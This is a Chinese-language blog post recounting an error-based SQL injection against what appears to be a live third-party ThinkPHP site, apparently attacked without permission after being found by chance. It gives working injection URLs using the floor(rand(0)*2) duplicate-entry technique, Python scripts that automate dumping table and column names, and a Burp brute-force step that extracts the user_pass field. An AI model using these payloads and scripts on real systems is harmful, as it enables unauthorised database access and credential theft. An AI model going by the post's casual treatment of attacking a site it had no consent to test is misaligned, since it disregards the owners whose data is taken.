记一次曲折的报错注入

1

机缘巧合,查询旁站时随手点开的一个网站,加单引号 ' 页面报错,同时爆出的还有sql查询语句,程序版本ThinkPHP V5.0.14,测试了下前一阵子爆出来的exp,应该也是修复了。

尝试联合查询注入

首先尝试闭合,构造注入语句:

1
2
3
4
5
http://xxx.com/pc/category/index/id/48) %23.html - 正常显示,闭合成功
http://xxx.com/pc/category/index/id/48) and '1'='1' %23.html - 正常显示
http://xxx.com/pc/category/index/id/48) and '1'='2' %23.html - 页面报错
http://xxx.com/pc/category/index/id/48) order by 1 %23.html - order by 1 正常
http://xxx.com/pc/category/index/id/48) order by 2 %23.html - order by 2 出现谜之报错,纠结了一阵

2

1
http://xxx.com/pc/category/index/id/48) order by (2.html - 这样构造就可以正常了,测试最大为30

失败

联合查询来一下试试,报错了,之后尝试各种方法去闭合均报错,只好暂时放弃了,没了头绪

1
http://xxx.com/pc/category/index/id/48) union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 %23.html

3

尝试报错注入

时间到了晚上,多亏了漂亮仔师傅的提醒,还有这么一种一直被自己忽略的注入,传送门:报错注入,学习了一下,开始构造语句:

暴库

1
http://xxx.com/pc/category/index/id/48) and(select 1 from(select count(*),concat((select (select (select concat(0x7e,schema_name,0x7e))) from information_schema.schemata  limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a.html - 爆出库名fangbiao,一共就两个,还好库不多

4

爆表

1
http://xxx.com/pc/category/index/id/48) and(select 1 from(select count(*),concat((select (select (select concat(0x7e,table_name,0x7e))) from information_schema.tables where table_schema=0x66616E676269616F limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a.html

5

总共有42张表,一个一个手动弄出来得累死,写了个脚本,表名结果太多我就不全列出来了

1
2
3
4
5
6
import re
import requests
for i in range(0, 43):
Response = requests.get('http://xxx.com/pc/category/index/id/48)%20and(select%201%20from(select%20count(*),concat((select%20(select %20(select%20concat(0x7e,table_name,0x7e)))%20from%20information_schema.tables%20where%20table_schema=0x66616E676269616F%20limit%20{0},1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a'.format(str(i)))
array=(re.findall("violation: 1062 Duplicate entry '~(.*?)~1' for key", Response.text))
print(array[1])

爆列

这里就遇到一个坑了,继续构造正常的报错注入语句,url太长,超出服务器接受范围,直接报错400,又没了头绪,卡住

1
http://xxx.com/pc/category/index/id/48) and(select 1 from(select count(*),concat((select (select (select concat(0x7e,column_name,0x7e))) from information_schema.columns where table_schema=0x66616E676269616F and table_name=71735F61646D696E5F6D656E75 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a.html

6

此时已经第二天上午,突然想到能不能给它缩短下,如果去掉表名限制,那么就是查出库里所有的列,试了一下,果然,成功爆出来了列名

1
http://xxx.com/pc/category/index/id/48) and(select 1 from(select count(*),concat((select (select (select concat(0x7e,column_name,0x7e))) from information_schema.columns where table_schema=0x66616E676269616F limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a.html

7

这里测了下,405个列,果断掏出脚本改改就安排上了

1
2
3
4
5
6
import re
import requests
for i in range(0, 406):
Response = requests.get('http://xxx.com/pc/category/index/id/48)%20and(select%201%20from(select%20count(*),concat((select%20(select%20(select%20concat(0x7e,column_name,0x7e)))%20from%20information_schema.columns%20where%20table_schema=0x66616E676269616F%20limit%20{0},1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a'.format(str(i)))
array=(re.findall("violation: 1062 Duplicate entry '~(.*?)~1' for key", Response.text))
print(array[1])

完美跑出了405个列,仔细看了看结果,选几个看起来特征比较明显的来测吧,没必要全部测试

1
2
3
4
username
user_pass
user_nickname
has_admin

爆数据

1
http://xxx.com/pc/category/index/id/48) and(select 1 from(select count(*),concat((select (select (select concat(0x7e,字段名,0x7e))) from fangbiao.表名 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a.html

我的想法是用以上url,先固定一个列名,然后遍历所有表名,如果当前列在当前表名中,就会有数据内容返回

本来想继续用脚本,思路就是脚本里按行读取tables.txt(按行存放的表名)的每一行内容,去拼接url,然后获取返回内容中有没有数据,结果返回的内容全为400了

这里用burp的爆破功能,可以达到一样的效果,唯一的不足之处就是要手动查看返回包了,尝试下user_pass,发现出来了数据,其他获取数据方法同理

8

收工

爆破出来的后台登陆地址被302跳转了,然后就没再测下去,其实也没心思再看下去了,这两天基本全在弄这个东西,之所以坚持要搞出来也是因为想弄清楚报错注入的利用方式,这次折腾完了又收获不少,文章看似很顺利,但是亲自上手就会发现坑真的不少,总结一下,留做纪念吧。(啥时候才能变成dalao啊)

作者

Se7en

发布于

2019-03-06

更新于

2022-03-31

许可协议

评论